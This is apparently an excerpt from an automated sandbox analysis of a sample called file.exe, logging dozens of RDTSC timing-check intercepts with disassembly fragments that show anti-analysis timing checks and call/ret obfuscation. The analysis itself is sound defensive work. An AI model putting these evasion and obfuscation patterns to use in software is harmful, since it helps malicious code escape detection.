Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672D6F second address: 672D94 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F78C4C759B9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672D94 second address: 672D98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67302F second address: 673033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6748EB second address: 6748F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674968 second address: 67496C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674C50 second address: 674C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F78C4C75716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674E6C second address: 674E82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674E82 second address: 674E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6755E2 second address: 6755E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675816 second address: 67583C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F78C4C75724h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F78C4C75716h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675C22 second address: 675C4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F78C4C759ABh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 jmp 00007F78C4C759B2h 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675C4C second address: 675C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675C52 second address: 675C88 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F78C4C759A8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push edx 0x0000002b push ecx 0x0000002c pop ecx 0x0000002d pop edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675C88 second address: 675C8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676B30 second address: 676B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6769E4 second address: 6769EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F78C4C75716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676B34 second address: 676B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6769EE second address: 676A13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75724h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F78C4C7571Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676B38 second address: 676BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 and di, CBB4h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F78C4C759A8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a jmp 00007F78C4C759AAh 0x0000002f jg 00007F78C4C759ACh 0x00000035 push 00000000h 0x00000037 mov esi, 7A06EBBAh 0x0000003c xchg eax, ebx 0x0000003d ja 00007F78C4C759AEh 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jnc 00007F78C4C759A6h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676A13 second address: 676A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676BA0 second address: 676BA6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676BA6 second address: 676BAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677C72 second address: 677C84 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677C84 second address: 677C8A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6791B4 second address: 6791D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F78C4C759B3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6784E2 second address: 6784E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678F70 second address: 678F76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A6E second address: 679A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A73 second address: 679A9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jc 00007F78C4C759A8h 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jng 00007F78C4C759A6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A736 second address: 67A73A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A73A second address: 67A7A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b mov esi, 7376376Dh 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F78C4C759A8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push ebx 0x0000002f pushad 0x00000030 mov dword ptr [ebp+122D32FFh], ebx 0x00000036 and edi, 6DE85229h 0x0000003c popad 0x0000003d pop esi 0x0000003e xchg eax, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F78C4C759ADh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CE13 second address: 67CE37 instructions: 0x00000000 rdtsc 0x00000002 je 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b je 00007F78C4C75716h 0x00000011 jmp 00007F78C4C75721h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AF68 second address: 67AF6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6804BB second address: 6804C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AF6E second address: 67AF73 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68247E second address: 6824BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 pushad 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b jmp 00007F78C4C75724h 0x00000010 popad 0x00000011 nop 0x00000012 xor dword ptr [ebp+1245A341h], edi 0x00000018 push 00000000h 0x0000001a mov bx, D5DAh 0x0000001e push 00000000h 0x00000020 mov di, si 0x00000023 sub edi, dword ptr [ebp+122D261Bh] 0x00000029 xchg eax, esi 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push edi 0x0000002f pop edi 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6824BD second address: 6824C7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6824C7 second address: 6824CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6824CD second address: 6824D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6824D1 second address: 6824DF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6824DF second address: 6824E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6824E6 second address: 6824EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6824EC second address: 6824F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683504 second address: 683565 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F78C4C7571Ch 0x00000008 jp 00007F78C4C75716h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 js 00007F78C4C75728h 0x00000017 js 00007F78C4C75722h 0x0000001d jmp 00007F78C4C7571Ch 0x00000022 nop 0x00000023 push 00000000h 0x00000025 jc 00007F78C4C7571Bh 0x0000002b mov edi, 32B57EBFh 0x00000030 push 00000000h 0x00000032 call 00007F78C4C7571Bh 0x00000037 mov dword ptr [ebp+122D27BDh], ebx 0x0000003d pop ebx 0x0000003e push eax 0x0000003f pushad 0x00000040 jmp 00007F78C4C75721h 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683565 second address: 68356B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68589A second address: 68595B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F78C4C75721h 0x00000008 jmp 00007F78C4C7571Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F78C4C75718h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c push dword ptr fs:[00000000h] 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F78C4C75718h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 0000001Ch 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d mov ebx, 6CE816C3h 0x00000052 push eax 0x00000053 sbb bl, 0000004Bh 0x00000056 pop edi 0x00000057 mov dword ptr fs:[00000000h], esp 0x0000005e mov ebx, eax 0x00000060 mov eax, dword ptr [ebp+122D10E9h] 0x00000066 mov dword ptr [ebp+1245A459h], edi 0x0000006c push FFFFFFFFh 0x0000006e sub bh, FFFFFFB2h 0x00000071 nop 0x00000072 pushad 0x00000073 pushad 0x00000074 je 00007F78C4C75716h 0x0000007a jmp 00007F78C4C75726h 0x0000007f popad 0x00000080 push eax 0x00000081 push edx 0x00000082 jmp 00007F78C4C75723h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68595B second address: 68596C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687781 second address: 6877AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75728h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F78C4C75718h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6877AC second address: 6877CB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F78C4C759B3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6877CB second address: 687828 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov ebx, dword ptr [ebp+124570C4h] 0x0000000e push 00000000h 0x00000010 ja 00007F78C4C7571Ah 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F78C4C75718h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 call 00007F78C4C7571Fh 0x00000037 mov bl, 85h 0x00000039 pop edi 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jns 00007F78C4C75718h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6868F8 second address: 68699C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov bh, 4Dh 0x0000000b push dword ptr fs:[00000000h] 0x00000012 and ebx, 5EEC85C6h 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f mov edi, dword ptr [ebp+122D395Fh] 0x00000025 mov eax, dword ptr [ebp+122D1131h] 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007F78C4C759A8h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 or dword ptr [ebp+122D34ADh], edx 0x0000004b mov edi, dword ptr [ebp+122D3953h] 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push edx 0x00000056 call 00007F78C4C759A8h 0x0000005b pop edx 0x0000005c mov dword ptr [esp+04h], edx 0x00000060 add dword ptr [esp+04h], 00000019h 0x00000068 inc edx 0x00000069 push edx 0x0000006a ret 0x0000006b pop edx 0x0000006c ret 0x0000006d and bl, FFFFFFD4h 0x00000070 call 00007F78C4C759B2h 0x00000075 mov dword ptr [ebp+122D264Bh], edi 0x0000007b pop edi 0x0000007c mov dword ptr [ebp+1246A129h], ecx 0x00000082 nop 0x00000083 pushad 0x00000084 push eax 0x00000085 push edx 0x00000086 push eax 0x00000087 pop eax 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68699C second address: 6869A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6869A6 second address: 6869AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6887F1 second address: 6887F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6887F7 second address: 6887FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6887FB second address: 688849 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F78C4C75718h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 mov dword ptr [ebp+12462BCBh], eax 0x0000002f push 00000000h 0x00000031 movzx ebx, ax 0x00000034 push 00000000h 0x00000036 add di, 29D1h 0x0000003b push eax 0x0000003c ja 00007F78C4C75724h 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687970 second address: 687974 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688849 second address: 68884D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689846 second address: 689884 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F78C4C759A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 push edx 0x00000011 jmp 00007F78C4C759ADh 0x00000016 pop edx 0x00000017 popad 0x00000018 nop 0x00000019 push 00000000h 0x0000001b mov dword ptr [ebp+122D1BBAh], ebx 0x00000021 push 00000000h 0x00000023 xor ebx, dword ptr [ebp+122D18FDh] 0x00000029 sub dword ptr [ebp+122D35C2h], ebx 0x0000002f xchg eax, esi 0x00000030 pushad 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689884 second address: 68989E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jnl 00007F78C4C75716h 0x0000000c jnc 00007F78C4C75716h 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68989E second address: 6898A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A810 second address: 68A889 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F78C4C75716h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov di, bx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F78C4C75718h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c push esi 0x0000002d mov ebx, dword ptr [ebp+122D3A33h] 0x00000033 pop ebx 0x00000034 jg 00007F78C4C75727h 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007F78C4C75718h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 00000015h 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b push ebx 0x0000005c pop ebx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A889 second address: 68A898 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B683 second address: 68B691 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B691 second address: 68B695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B695 second address: 68B699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B699 second address: 68B722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F78C4C759A8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 sub bl, FFFFFFC5h 0x00000027 push 00000000h 0x00000029 or dword ptr [ebp+1245A4F0h], ebx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F78C4C759A8h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b xchg eax, esi 0x0000004c jc 00007F78C4C759C2h 0x00000052 je 00007F78C4C759BCh 0x00000058 jmp 00007F78C4C759B6h 0x0000005d push eax 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jnl 00007F78C4C759A6h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68AA3C second address: 68AA46 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B8C4 second address: 68B8CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B99D second address: 68B9A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B9A1 second address: 68B9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F78C4C759B1h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F792 second address: 68F79C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F78C4C7571Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
